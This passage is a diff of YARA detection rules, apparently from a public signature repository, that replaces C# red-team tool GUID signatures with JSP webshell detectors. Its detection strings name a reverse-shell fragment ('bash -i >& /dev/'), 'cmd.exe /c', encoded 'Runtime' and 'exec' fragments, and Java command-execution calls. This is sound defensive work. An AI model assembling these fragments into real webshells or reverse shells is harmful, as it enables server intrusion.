+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L5688-L5771"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8fd343db0442136e693e745d7af1018a99b042af"
+		hash = "87c3ac9b75a72187e8bc6c61f50659435dbdc4fde6ed720cebb93881ba5989d8"
+		hash = "1aa6af726137bf261849c05d18d0a630d95530588832aadd5101af28acc034b5"
+		logic_hash = "fe7f2ab2820520e8964b874a7f9af356db9355f263c821d180e54c774e10530b"
 		score = 75
-		quality = 85
+		quality = 48
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "c653a9f2-0939-43c8-9b93-fed5e2e4c7e6" ascii wide
-		$typelibguid0up = "C653A9F2-0939-43C8-9B93-FED5E2E4C7E6" ascii wide
-		$typelibguid1lo = "48dfc55e-6ae5-4a36-abef-14bc09d7510b" ascii wide
-		$typelibguid1up = "48DFC55E-6AE5-4A36-ABEF-14BC09D7510B" ascii wide
+		$payload1 = "ProcessBuilder" fullword wide ascii
+		$payload2 = "URLClassLoader" fullword wide ascii
+		$payload_rt1 = "Runtime" fullword wide ascii
+		$payload_rt2 = "getRuntime" fullword wide ascii
+		$payload_rt3 = "exec" fullword wide ascii
+		$jg_sus1 = "xe /c" ascii wide
+		$jg_sus2 = /getParameter\("."\)/ ascii wide
+		$jg_sus3 = "</pre>" ascii wide
+		$jg_sus4 = "BASE64Decoder" fullword ascii wide
+		$cjsp_short1 = "<%" ascii wide
+		$cjsp_short2 = "%>" wide ascii
+		$cjsp_long1 = "<jsp:" ascii wide
+		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+		$cjsp_long3 = "/jstl/core" ascii wide
+		$cjsp_long4 = "<%@p" nocase ascii wide
+		$cjsp_long5 = "<%@ " nocase ascii wide
+		$cjsp_long6 = "<% " ascii wide
+		$cjsp_long7 = "< %" ascii wide
+		$input1 = "getParameter" fullword ascii wide
+		$input2 = "getHeaders" fullword ascii wide
+		$input3 = "getInputStream" fullword ascii wide
+		$input4 = "getReader" fullword ascii wide
+		$req1 = "request" fullword ascii wide
+		$req2 = "HttpServletRequest" fullword ascii wide
+		$req3 = "getRequest" fullword ascii wide
+		$fixed_cmd1 = "bash -i >& /dev/" ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		(( filesize <1000 and any of ($jg_sus*)) or filesize <250) and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and (( any of ($input*) and any of ($req*)) or ( any of ($fixed_cmd*))) and (1 of ($payload*) or all of ($payload_rt*))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Tellmeyoursecrets : FILE
+rule SIGNATURE_BASE_WEBSHELL_JSP_Generic : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic JSP webshell"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "b00c353b-0446-5faa-87e5-0a7ba6ec2286"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/0xbadjuju/TellMeYourSecrets"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2983-L2997"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cabb37be30a62ef6055e6b6a8f5cd1b9f51b231d254419a94aedd5ddfb992376"
+		id = "7535ade8-fc65-5558-a72c-cc14c3306390"
+		date = "2021-01-07"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L5773-L5865"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4762f36ca01fb9cda2ab559623d2206f401fc0b1"
+		hash = "bdaf9279b3d9e07e955d0ce706d9c42e4bdf9aa1"
+		hash = "ee9408eb923f2d16f606a5aaac7e16b009797a07"
+		logic_hash = "86be80a7a970657af047ac9d0aaccbcd2cf9afdf0bd891efa8510ffd803530da"
 		score = 75
-		quality = 85
+		quality = -24
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "9b448062-7219-4d82-9a0a-e784c4b3aa27" ascii wide
-		$typelibguid0up = "9B448062-7219-4D82-9A0A-E784C4B3AA27" ascii wide
+		$susp0 = "cmd" fullword nocase ascii wide
+		$susp1 = "command" fullword nocase ascii wide
+		$susp2 = "shell" fullword nocase ascii wide
+		$susp3 = "download" fullword nocase ascii wide
+		$susp4 = "upload" fullword nocase ascii wide
+		$susp5 = "Execute" fullword nocase ascii wide
+		$susp6 = "\"pwd\"" ascii wide
+		$susp7 = "\"</pre>" ascii wide
+		$susp8 = /\\u00\d\d\\u00\d\d\\u00\d\d\\u00\d\d/ ascii wide
+		$susp9 = "*/\\u00" ascii wide
+		$fp1 = "command = \"cmd.exe /c set\";"
+		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
+		$pack = { 50 41 43 4b 00 00 00 02 00 }
+		$cjsp_short1 = "<%" ascii wide
+		$cjsp_short2 = "%>" wide ascii
+		$cjsp_long1 = "<jsp:" ascii wide
+		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+		$cjsp_long3 = "/jstl/core" ascii wide
+		$cjsp_long4 = "<%@p" nocase ascii wide
+		$cjsp_long5 = "<%@ " nocase ascii wide
+		$cjsp_long6 = "<% " ascii wide
+		$cjsp_long7 = "< %" ascii wide
+		$input1 = "getParameter" fullword ascii wide
+		$input2 = "getHeaders" fullword ascii wide
+		$input3 = "getInputStream" fullword ascii wide
+		$input4 = "getReader" fullword ascii wide
+		$req1 = "request" fullword ascii wide
+		$req2 = "HttpServletRequest" fullword ascii wide
+		$req3 = "getRequest" fullword ascii wide
+		$payload1 = "ProcessBuilder" fullword ascii wide
+		$payload2 = "processCmd" fullword ascii wide
+		$rt_payload1 = "Runtime" fullword ascii wide
+		$rt_payload2 = "getRuntime" fullword ascii wide
+		$rt_payload3 = "exec" fullword ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <300KB and not ( uint16(0)==0x5a4d or $dex at 0 or $pack at 0 or uint16(0)==0x4b50) and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and ( any of ($input*) and any of ($req*)) and (1 of ($payload*) or all of ($rt_payload*)) and not any of ($fp*) and any of ($susp*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpexcel4_DCOM : FILE
+rule SIGNATURE_BASE_WEBSHELL_JSP_Generic_Base64 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic JSP webshell with base64 encoded payload"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "12d3f26b-40ca-5034-a7c2-9be9c8a7599b"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/rvrsh3ll/SharpExcel4-DCOM"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2999-L3013"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "abc87f0ed51f044633ef7854610cd16460eefad570c31c7fe854d245229cceb3"
+		id = "2eabbad2-7d10-573a-9120-b9b763fa2352"
+		date = "2021-01-24"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L5867-L5942"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8b5fe53f8833df3657ae2eeafb4fd101c05f0db0"
+		hash = "1b916afdd415dfa4e77cecf47321fd676ba2184d"
+		logic_hash = "543f4e528763c9e40e49b4169c792818a73a23cbbbee25332749626d8e58b1b8"
 		score = 75
-		quality = 85
+		quality = 48
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "68b83ce5-bbd9-4ee3-b1cc-5e9223fab52b" ascii wide
-		$typelibguid0up = "68B83CE5-BBD9-4EE3-B1CC-5E9223FAB52B" ascii wide
+		$one1 = "SdW50aW1l" wide ascii
+		$one2 = "J1bnRpbW" wide ascii
+		$one3 = "UnVudGltZ" wide ascii
+		$one4 = "IAdQBuAHQAaQBtAGUA" wide ascii
+		$one5 = "SAHUAbgB0AGkAbQBlA" wide ascii
+		$one6 = "UgB1AG4AdABpAG0AZQ" wide ascii
+		$two1 = "leGVj" wide ascii
+		$two2 = "V4ZW" wide ascii
+		$two3 = "ZXhlY" wide ascii
+		$two4 = "UAeABlAGMA" wide ascii
+		$two5 = "lAHgAZQBjA" wide ascii
+		$two6 = "ZQB4AGUAYw" wide ascii
+		$three1 = "TY3JpcHRFbmdpbmVGYWN0b3J5" wide ascii
+		$three2 = "NjcmlwdEVuZ2luZUZhY3Rvcn" wide ascii
+		$three3 = "U2NyaXB0RW5naW5lRmFjdG9ye" wide ascii
+		$three4 = "MAYwByAGkAcAB0AEUAbgBnAGkAbgBlAEYAYQBjAHQAbwByAHkA" wide ascii
+		$three5 = "TAGMAcgBpAHAAdABFAG4AZwBpAG4AZQBGAGEAYwB0AG8AcgB5A" wide ascii
+		$three6 = "UwBjAHIAaQBwAHQARQBuAGcAaQBuAGUARgBhAGMAdABvAHIAeQ" wide ascii
+		$cjsp_short1 = "<%" ascii wide
+		$cjsp_short2 = "%>" wide ascii
+		$cjsp_long1 = "<jsp:" ascii wide
+		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+		$cjsp_long3 = "/jstl/core" ascii wide
+		$cjsp_long4 = "<%@p" nocase ascii wide
+		$cjsp_long5 = "<%@ " nocase ascii wide
+		$cjsp_long6 = "<% " ascii wide
+		$cjsp_long7 = "< %" ascii wide
+		$dex = { 64 65 ( 78 | 79 ) 0a 30 }
+		$pack = { 50 41 43 4b 00 00 00 02 00 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and not ( uint16(0)==0x5a4d or $dex at 0 or $pack at 0 or uint16(0)==0x4b50) and filesize <300KB and ( any of ($one*) and any of ($two*) or any of ($three*))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpshooter : FILE
+rule SIGNATURE_BASE_WEBSHELL_JSP_Generic_Processbuilder : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic JSP webshell which uses processbuilder to execute user input"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "a59e6fe9-dbaf-5830-8cf1-485ff4dd939a"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/mdsecactivebreach/SharpShooter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3015-L3029"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8a8510a680205c09321b8d1a960f1b8026883aede5224e8fe541727a434312b4"
+		id = "2a7c5f44-24a1-5f43-996e-945c209b79b1"
+		date = "2021-01-07"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L5944-L5981"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "82198670ac2072cd5c2853d59dcd0f8dfcc28923"
+		hash = "c05a520d96e4ebf9eb5c73fc0fa446ceb5caf343"
+		hash = "347a55c174ee39ec912d9107e971d740f3208d53af43ea480f502d177106bbe8"
+		hash = "d0ba29b646274e8cda5be1b940a38d248880d9e2bba11d994d4392c80d6b65bd"
+		logic_hash = "fffc173cc23e158e319e48097243a64da232151e441c39e4b6ecc2565a82d862"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "56598f1c-6d88-4994-a392-af337abe5777" ascii wide
-		$typelibguid0up = "56598F1C-6D88-4994-A392-AF337ABE5777" ascii wide
+		$exec = "ProcessBuilder" fullword wide ascii
+		$start = "start" fullword wide ascii
+		$input1 = "getParameter" fullword ascii wide
+		$input2 = "getHeaders" fullword ascii wide
+		$input3 = "getInputStream" fullword ascii wide
+		$input4 = "getReader" fullword ascii wide
+		$req1 = "request" fullword ascii wide
+		$req2 = "HttpServletRequest" fullword ascii wide
+		$req3 = "getRequest" fullword ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <2000 and ( any of ($input*) and any of ($req*)) and $exec and $start
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Nomsbuild : FILE
+rule SIGNATURE_BASE_WEBSHELL_JSP_Generic_Reflection : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic JSP webshell which uses reflection to execute user input"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "9bc0661d-c60f-582b-8f88-87e3dfa13ddd"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/rvrsh3ll/NoMSBuild"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3031-L3047"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3979162455153d586036960f3cf2a90a893541900245c4184e55631d2138ba75"
+		id = "806ffc8b-1dc8-5e28-ae94-12ad3fee18cd"
+		date = "2021-01-07"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L5983-L6064"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "62e6c6065b5ca45819c1fc049518c81d7d165744"
+		hash = "bf0ff88cbb72c719a291c722ae3115b91748d5c4920afe7a00a0d921d562e188"
+		logic_hash = "8142b67c428072ddce2543c014ad53023265cb36c5b77346590db8c68afcd9db"
 		score = 75
-		quality = 85
+		quality = 0
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "034a7b9f-18df-45da-b870-0e1cef500215" ascii wide
-		$typelibguid0up = "034A7B9F-18DF-45DA-B870-0E1CEF500215" ascii wide
-		$typelibguid1lo = "59b449d7-c1e8-4f47-80b8-7375178961db" ascii wide
-		$typelibguid1up = "59B449D7-C1E8-4F47-80B8-7375178961DB" ascii wide
+		$ws_exec = "invoke" fullword wide ascii
+		$ws_class = "Class" fullword wide ascii
+		$fp = "SOAPConnection"
+		$cjsp_short1 = "<%" ascii wide
+		$cjsp_short2 = "%>" wide ascii
+		$cjsp_long1 = "<jsp:" ascii wide
+		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+		$cjsp_long3 = "/jstl/core" ascii wide
+		$cjsp_long4 = "<%@p" nocase ascii wide
+		$cjsp_long5 = "<%@ " nocase ascii wide
+		$cjsp_long6 = "<% " ascii wide
+		$cjsp_long7 = "< %" ascii wide
+		$input1 = "getParameter" fullword ascii wide
+		$input2 = "getHeaders" fullword ascii wide
+		$input3 = "getInputStream" fullword ascii wide
+		$input4 = "getReader" fullword ascii wide
+		$req1 = "request" fullword ascii wide
+		$req2 = "HttpServletRequest" fullword ascii wide
+		$req3 = "getRequest" fullword ascii wide
+		$cj_encoded1 = "\"java.util.Base64$Decoder\"" ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of ($ws_*) and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and not $fp and ( filesize <10KB and ( any of ($input*) and any of ($req*)) or ( filesize <30KB and any of ($cj_encoded*) and math.entropy(500, filesize -500)>=5.5 and math.mean(500, filesize -500)>80 and math.deviation(500, filesize -500,89.0)<23))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Teleshadow2 : FILE
+rule SIGNATURE_BASE_WEBSHELL_JSP_Generic_Classloader : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic JSP webshell which uses classloader to execute user input"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5b22f2c4-0bd1-5a5a-8867-8fbc773d2b44"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/ParsingTeam/TeleShadow2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3049-L3065"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "effe10487be132548eb56eb5bfc97f394669a153c9a885e3461e5f9e94bf66f8"
+		id = "037e6b24-9faf-569b-bb52-dbe671ab2e87"
+		date = "2021-01-07"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L6066-L6143"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6b546e78cc7821b63192bb8e087c133e8702a377d17baaeb64b13f0dd61e2347"
+		hash = "f3a7e28e1c38fa5d37811bdda1d6b0893ab876023d3bd696747a35c04141dcf0"
+		hash = "8ea2a25344e6094fa82dfc097bbec5f1675f6058f2b7560deb4390bcbce5a0e7"
+		hash = "b9ea1e9f91c70160ee29151aa35f23c236d220c72709b2b75123e6fa1da5c86c"
+		hash = "80211c97f5b5cd6c3ab23ae51003fd73409d273727ba502d052f6c2bd07046d6"
+		hash = "8e544a5f0c242d1f7be503e045738369405d39731fcd553a38b568e0889af1f2"
+		logic_hash = "ea7b8a91c09188e04f4c7fffd2b218aac3a83590b7c1b2b141650c0f6965c4ee"
 		score = 75
-		quality = 85
+		quality = 0
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "42c5c356-39cf-4c07-96df-ebb0ccf78ca4" ascii wide
-		$typelibguid0up = "42C5C356-39CF-4C07-96DF-EBB0CCF78CA4" ascii wide
-		$typelibguid1lo = "0242b5b1-4d26-413e-8c8c-13b4ed30d510" ascii wide
-		$typelibguid1up = "0242B5B1-4D26-413E-8C8C-13B4ED30D510" ascii wide
+		$exec = "extends ClassLoader" wide ascii
+		$class = "defineClass" fullword wide ascii
+		$cjsp_short1 = "<%" ascii wide
+		$cjsp_short2 = "%>" wide ascii
+		$cjsp_long1 = "<jsp:" ascii wide
+		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+		$cjsp_long3 = "/jstl/core" ascii wide
+		$cjsp_long4 = "<%@p" nocase ascii wide
+		$cjsp_long5 = "<%@ " nocase ascii wide
+		$cjsp_long6 = "<% " ascii wide
+		$cjsp_long7 = "< %" ascii wide
+		$input1 = "getParameter" fullword ascii wide
+		$input2 = "getHeaders" fullword ascii wide
+		$input3 = "getInputStream" fullword ascii wide
+		$input4 = "getReader" fullword ascii wide
+		$req1 = "request" fullword ascii wide
+		$req2 = "HttpServletRequest" fullword ascii wide
+		$req3 = "getRequest" fullword ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		(($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and ( any of ($input*) and any of ($req*)) and $exec and $class) and ( filesize <10KB or ( filesize <50KB and (math.entropy(500, filesize -500)<=1 or math.entropy(500, filesize -500)>=7.7)))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Badpotato : FILE
+rule SIGNATURE_BASE_WEBSHELL_JSP_Generic_Encoded_Shell : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic JSP webshell which contains cmd or /bin/bash encoded in ascii ord"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8bee12fc-fc29-5256-b559-d914ef202c0c"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/BeichenDream/BadPotato"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3067-L3081"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "52b80fa9f4738fb8d9ce14f2881e19122219a13e9fc3acdf87ed7bfea371ebc4"
+		id = "359949d7-1793-5e13-9fdc-fe995ae12117"
+		date = "2021-01-07"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L6145-L6171"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3eecc354390d60878afaa67a20b0802ce5805f3a9bb34e74dd8c363e3ca0ea5c"
+		hash = "f6c2112e3a25ec610b517ff481675b2ce893cb9f"
+		hash = "62e6c6065b5ca45819c1fc049518c81d7d165744"
+		logic_hash = "74f45478e5bd7bb300e4ec493c2d3ef9a26340a141c3512a722618b3a3731500"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "0527a14f-1591-4d94-943e-d6d784a50549" ascii wide
-		$typelibguid0up = "0527A14F-1591-4D94-943E-D6D784A50549" ascii wide
+		$sj0 = /\{ ?47, 98, 105, 110, 47, 98, 97, 115, 104/ wide ascii
+		$sj1 = /\{ ?99, 109, 100}/ wide ascii
+		$sj2 = /\{ ?99, 109, 100, 46, 101, 120, 101/ wide ascii
+		$sj3 = /\{ ?47, 98, 105, 110, 47, 98, 97/ wide ascii
+		$sj4 = /\{ ?106, 97, 118, 97, 46, 108, 97, 110/ wide ascii
+		$sj5 = /\{ ?101, 120, 101, 99 }/ wide ascii
+		$sj6 = /\{ ?103, 101, 116, 82, 117, 110/ wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <300KB and any of ($sj*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Lethalhta : FILE
+rule SIGNATURE_BASE_WEBSHELL_JSP_Netspy : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "JSP netspy webshell"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e8e1ad03-a5f0-5508-b78d-0de7bdaf4704"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/codewhitesec/LethalHTA"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3083-L3099"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c9957f9e0838c5c708afa1651aedb9c6cb003f53c1ce38b200b1526da8fa3a65"
+		id = "41f5c171-878d-579f-811d-91d74f7e3e24"
+		date = "2021-01-24"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L6173-L6239"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "94d1aaabde8ff9b4b8f394dc68caebf981c86587"
+		hash = "3870b31f26975a7cb424eab6521fc9bffc2af580"
+		logic_hash = "1c0da3ee7a3cc8a1cf73dcd2648a1f6cb0bf3b32b37725d8d8f307e8fb7b7238"
 		score = 75
-		quality = 85
+		quality = 1
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "784cde17-ff0f-4e43-911a-19119e89c43f" ascii wide
-		$typelibguid0up = "784CDE17-FF0F-4E43-911A-19119E89C43F" ascii wide
-		$typelibguid1lo = "7e2de2c0-61dc-43ab-a0ec-c27ee2172ea6" ascii wide
-		$typelibguid1up = "7E2DE2C0-61DC-43AB-A0EC-C27EE2172EA6" ascii wide
+		$scan1 = "scan" nocase wide ascii
+		$scan2 = "port" nocase wide ascii
+		$scan3 = "web" fullword nocase wide ascii
+		$scan4 = "proxy" fullword nocase wide ascii
+		$scan5 = "http" fullword nocase wide ascii
+		$scan6 = "https" fullword nocase wide ascii
+		$write1 = "os.write" fullword wide ascii
+		$write2 = "FileOutputStream" fullword wide ascii
+		$write3 = "PrintWriter" fullword wide ascii
+		$http = "java.net.HttpURLConnection" fullword wide ascii
+		$cjsp_short1 = "<%" ascii wide
+		$cjsp_short2 = "%>" wide ascii
+		$cjsp_long1 = "<jsp:" ascii wide
+		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+		$cjsp_long3 = "/jstl/core" ascii wide
+		$cjsp_long4 = "<%@p" nocase ascii wide
+		$cjsp_long5 = "<%@ " nocase ascii wide
+		$cjsp_long6 = "<% " ascii wide
+		$cjsp_long7 = "< %" ascii wide
+		$input1 = "getParameter" fullword ascii wide
+		$input2 = "getHeaders" fullword ascii wide
+		$input3 = "getInputStream" fullword ascii wide
+		$input4 = "getReader" fullword ascii wide
+		$req1 = "request" fullword ascii wide
+		$req2 = "HttpServletRequest" fullword ascii wide
+		$req3 = "getRequest" fullword ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <30KB and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and ( any of ($input*) and any of ($req*)) and 4 of ($scan*) and 1 of ($write*) and $http
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpstat : FILE
+rule SIGNATURE_BASE_WEBSHELL_JSP_By_String : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "JSP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions."
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "649c6cc0-e43b-558c-9567-00f352af528b"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/Raikia/SharpStat"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L3101-L3115"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8b9193262c5ab6e43d804c964821ab986c038a0ba834b22785e75e846fca649b"
+		id = "8d64e40b-5583-5887-afe1-b926d9880913"
+		date = "2021-01-09"
+		modified = "2023-04-05"
+		reference = "Internal Research"
